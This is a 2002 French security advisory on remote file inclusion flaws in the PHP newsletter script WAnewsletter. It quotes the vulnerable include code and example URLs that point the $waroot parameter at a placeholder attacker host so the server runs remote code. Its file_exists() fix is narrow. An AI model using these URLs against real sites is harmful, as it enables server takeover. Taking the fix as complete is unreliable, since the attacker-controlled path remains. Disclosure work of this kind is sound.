WAnewsletter
************
Informations :
°°°°°°°°°°°°°°
Langage : PHP
Website : http://www.phpcodeur.net
Versions : 2.0beta -> 2.1.0
Problème : - Inclusions de fichiers
Developpement :
°°°°°°°°°°°°°°°
"WAnewsletter est un script de newsletter complet. Il vous permettra de maintenir un contact permanent avec vos abonnés.[...]"
Il comprend : "[...]Gestion de plusieurs listes de diffusion, Choix du format pour chaque liste,
Générateur de formulaire ou utilisation d'un formulaire fourni avec le script, Option d'email envoyé à un admin lors d'une
nouvelle inscription personnalisé à chaque liste , Confirmation d'inscription par email (possibilité d'activer/désactiver
cette option) pour chaque liste , Possibilité de sauvegarder une newsletter en cours de rédaction pour la reprendre
plus tard, Gestion des retours d'erreur (email inconnu, etc...), [...]"
Les problèmes d'inclusions commencent dans la version 2.0beta. Les versions précédentes, 1.1 et 1.0 ne semblent pas
avoir ce type de faille.
Dans la version 2.0 beta, comme dans celle d'après, la 2.0.0, on peut trouver dans newsletter.php les lignes suivantes :
---------------------------------------------------------------
[...]
if( $action )
{
include_once($waroot . 'includes/config.inc.php');
include_once($waroot . 'includes/constantes.php');
include_once($waroot . 'includes/fonctions.inc.php');
include_once($waroot . 'includes/template.php');
include_once($waroot . 'includes/mailer.php');
[...]
---------------------------------------------------------------
L'url http://[victim]/newsletter.php?action=1&waroot=http://[attacker]/ inclura donc les fichiers :
http://[attacker]/includes/config.inc.php
http://[attacker]/includes/constantes.php
http://[attacker]/includes/fonctions.inc.php
http://[attacker]/includes/template.php
http://[attacker]/includes/mailer.php
Dans la version 2.0.1, on retrouve la faille dans newsletter.php avec une ligne en plus :
--------------------------------------------------
include_once($waroot . 'sql/db_type.php');
--------------------------------------------------
ce qui peut permettre d'inclure un nouveau fichier.
Dans cette même version, une nouvelle faille apparaît dans le nouveau fichier sql/db_type.php. On peu y voir :
------------------------------------------------------------------------------------
switch($dbtype)
{
case 'mysql':
include_once($waroot . 'sql/mysql.inc.php');
break;
case 'mssql':
include_once($waroot . 'sql/mssql.inc.php');
break;
default:
echo 'Le type de base de données n\'est pas défini !';
exit;
break;
}
[...]
------------------------------------------------------------------------------------
L'url http://[victim]/sql/db_type.php?waroot=http://[attacker]/ inclura les fichiers :
http://[attacker]/sql/mysql.inc.php
http://[attacker]/sql/mssql.inc.php
Dans le newsletter.php de la version 2.0.2, le fichier $waroot . 'includes/template.php' n'est plus inclut,
mais $waroot . 'sql/db_type.php' et les autres le sont toujours.
Dans cette version 2.0.2, ainsi que dans les versions 2.1 Beta, 2.1Beta2, et 2.1.0 (la dernière à cette date), les
inclusions du fichier sql/db_type.php sont changées mais la faille y est toujours :
-------------------------------------------------------------------------------
switch($dbtype)
{
case 'mysql':
include_once($waroot . 'sql/mysql/mysql.inc.php');
break;
case 'mssql':
include_once($waroot . 'sql/mssql/mssql.inc.php');
break;
default:
echo 'Le type de base de données n\'est pas défini !';
exit;
break;
}
[...]
-------------------------------------------------------------------------------
Enfin, dans les version 2.1 beta 1, 2.1 beta 2 et 2.1.0, le fichier newsletter.php change à son tour tout en gardant
aussi une faille :
----------------------------------------------------
if( !empty($HTTP_POST_VARS['action']) )
{
$action = $HTTP_POST_VARS['action'];
}
else if( !empty($HTTP_GET_VARS['action']) )
{
$action = $HTTP_GET_VARS['action'];
}
else
{
$action = '';
}
if( $action != '' || defined('IN_WA_FORM') )
{
$login = false;
include_once($waroot . 'start.php');
}
[...]
----------------------------------------------------
C'est donc encore une fois le fichier inclut qui change et rien d'autre.
Solution :
°°°°°°°°°°
Pour chaque inclusion faire une vérification file_exists().
Par exemple pour le dernier newsletter.php :
---------------------------------------------
if( $action != '' || defined('IN_WA_FORM') )
{
$login = false;
include_once($waroot . 'start.php');
}
---------------------------------------------
devient :
---------------------------------------------
if( $action != '' || defined('IN_WA_FORM') )
{
$login = false;
if (file_exists($waroot.'start.php')){
include_once($waroot . 'start.php');
}
}
---------------------------------------------
Des patchs sont disponible sur http://www.phpsecure.org.
Credits :
°°°°°°°°°
Auteur : frog-m@n
E-mail : frog-man@frog-man.org
Website : http://www.frog-man.org, http://www.phpsecure.org
Date : 17/12/02